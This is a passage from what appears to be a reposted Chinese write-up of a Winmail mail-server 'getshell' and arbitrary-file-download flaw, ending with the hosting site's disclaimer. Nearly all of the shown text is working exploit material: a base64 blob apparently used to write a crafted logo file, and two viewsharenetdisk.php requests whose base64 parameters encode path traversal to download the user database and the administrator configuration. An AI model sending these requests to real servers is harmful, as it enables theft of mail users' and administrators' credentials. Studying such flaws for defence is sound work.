SQ0hBUigxMjgpIE5VTEwsIFtzeW5jYWN0aW9uXSBWQVJDSEFSKDMyKSBOVUxMKQoAAAACA+YAA+YD8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgQXDQFhZG1pbgIOBCENCXBvc3RtYXN0ZXIAAAAAbnRyb2xdIFRJTllJTlQsIA0KICBbc2VuZGRvbWFpbmxpc3RdIFRFWFQsIA0KICBbcmVjdmNvbnRyb2xdIFRJTllJTlQsIA0KICBbcmVjdmRvbWFpbmxpc3RdIFRFWFQsIA0KICBbcmlnaHRzXSBWQVJDSEFSKDY0KSwgDQogIFttYXhtc2dzaXplXSBJTlQsIA0KICBbc2VuZGZyZXFdIElOVCwgDQogIFtsb2NhbHRpbWVzXSBJTlQsIA0KICBbbG9jYWxzaXplXSBCSUdJTlQsIA0KICBbcmVtb3RldGltZXNdIElOVCwgDQogIFtyZW1vdGVzaXplXSBCSUdJTlQsIA0KICBbc210cGFjbF0gVEVYVCwgDQogIFtwb3AzYWNsXSBURVhULCANCiAgW2ltYXBhY2xdIFRFWFQsIA0KICBbd2VibWFpbGFjbF0gVEVYVCwgDQogIFtmdHBhY2xdIFRFWFQsIA0KICBbY2hncGFzc3dvcmRdIFRJTllJTlQsIA0KICBbbGFzdGNoZ3B3ZHRpbWVdIEJJR0lOVCwgDQogIFtwd2RleHBpcmVkYXlzXSBJTlQsIA0KICBbYXV0b3JlcGx5c3RhdHVzXSBUSU5ZSU5ULCANCiAgW2ZvcndhcmRhZGRyXSBURVhULCANCiAgW2Z3ZHNhdmVjb3B5XSBUSU5ZSU5ULCANCiAgW21haWxub3RpZnldIFRJTllJTlQsIA0KICBbc3BhbWFzc2Fzc2luXSBUSU5ZSU5ULCANCiAgW3NwYW1kZWFsaW5nXSBUSU5ZSU5ULCANCiAgW2V4cGlyZXRpbWVdIEJJR0lOVCwgDQogIFtjcmVhdGV0aW1lXSBCSUdJTlQsIA0KICBbbGFzdHZpc2l0dGltZV0gQklHSU5ULCANCiAgW3BhdXNldGltZV0gQklHSU5ULCANCiAgW21heHJjcHRdIElOVCwgW2F1dG9hcmNoaXZlXSBWQVJDSEFSKDEyOCkgTlVMTCwgW2F1dG9jbGVhbnVwXSBWQVJDSEFSKDEyOCkgTlVMTCwgW3NlY3JldGxldmVsXSBJTlQgTlVMTCwgW3dlaXhpbl0gVkFSQ0hBUigyNTYpIE5VTEwsIFtkaW5nXSBWQVJDSEFSKDI1NikgTlVMTCwgW29sZHBhc3N3b3JkXSBWQVJDSEFSKDEyOCkgTlVMTCwgW21haWxob3N0XSBWQVJDSEFSKDEyOCkgTlVMTCwgW29sZG1haWxob3N0XSBWQVJDSEFSKDEyOCkgTlVMTCwgW3N5bmNhY3Rpb25dIFZBUkNIQVIoMzIpIE5VTEwsIFtzeW5jdGltZV0gQklHSU5UIE5VTEwp&f_domain=fghfgfghf1&customizepath=1
写入customer/fghfgfghf1_logo.jpg文件
下载用户数据
viewsharenetdisk.php?userid=admin&f=bWFpbHVzZXJfZGJmaWxlPS5cY3VzdG9tZXJcZmdoZmdmZ2hmMV9sb2dvLmpwZyZ1c2VyY29kZT1kMWRmZDg4YTgwZTVjOWU4OTU2ODZhM2ZiYmUwMDI3OSZvcHQ9ZG93bmxvYWQmZmlsZW5hbWU9WEM0dUx5NHVMMlJoZEdFdmJXRnBiSFZ6WlhJdVpHST0maXRlbWNvZGU9YTMwMzk4ODJhMDk1M2RmM2E4NDBlOTVkZjBhNDg3NjImY2hrc3VtPTM1OGE2OTJlODk4OWQ0NDVhZGQ2YjU1OGNjYjU1Y2UxJnN0YXJ0PTEmbmV0ZGlza19zaGFyZV9leHBpcmU9MTQ3OTg2NTY5MzE=
下载管理员数据
viewsharenetdisk.php?userid=admin&f=bWFpbHVzZXJfZGJmaWxlPS5cY3VzdG9tZXJcZmdoZmdmZ2hmMV9sb2dvLmpwZyZ1c2VyY29kZT1kMWRmZDg4YTgwZTVjOWU4OTU2ODZhM2ZiYmUwMDI3OSZvcHQ9ZG93bmxvYWQmZmlsZW5hbWU9WEM0dUx5NHVMMlJoZEdFdllXUnRhVzUxYzJWeUxtTm1adz09Jml0ZW1jb2RlPTZhNzgzMTMzMjE5OGU0ZDU1NmQyYWY5ZDYxZWI4ZmIwJmNoa3N1bT1kYWI4YTQwN2JhMGFjOGRhYThhZjQyN2Q2NDU0OTQzZiZzdGFydD0xJm5ldGRpc2tfc2hhcmVfZXhwaXJlPTE0Nzk4NjU2OTMx
winmail getshell源码分析（任意文件下载）
声明：以上内容来自用户投稿及互联网公开渠道收集整理发布，本网站不拥有所有权，未作人工编辑处理，也不承担相关法律责任，若内容有误或涉及侵权可进行投诉： 投诉/举报 工作人员会在5个工作日内联系你，一经查实，本站将立刻删除涉嫌侵权内容。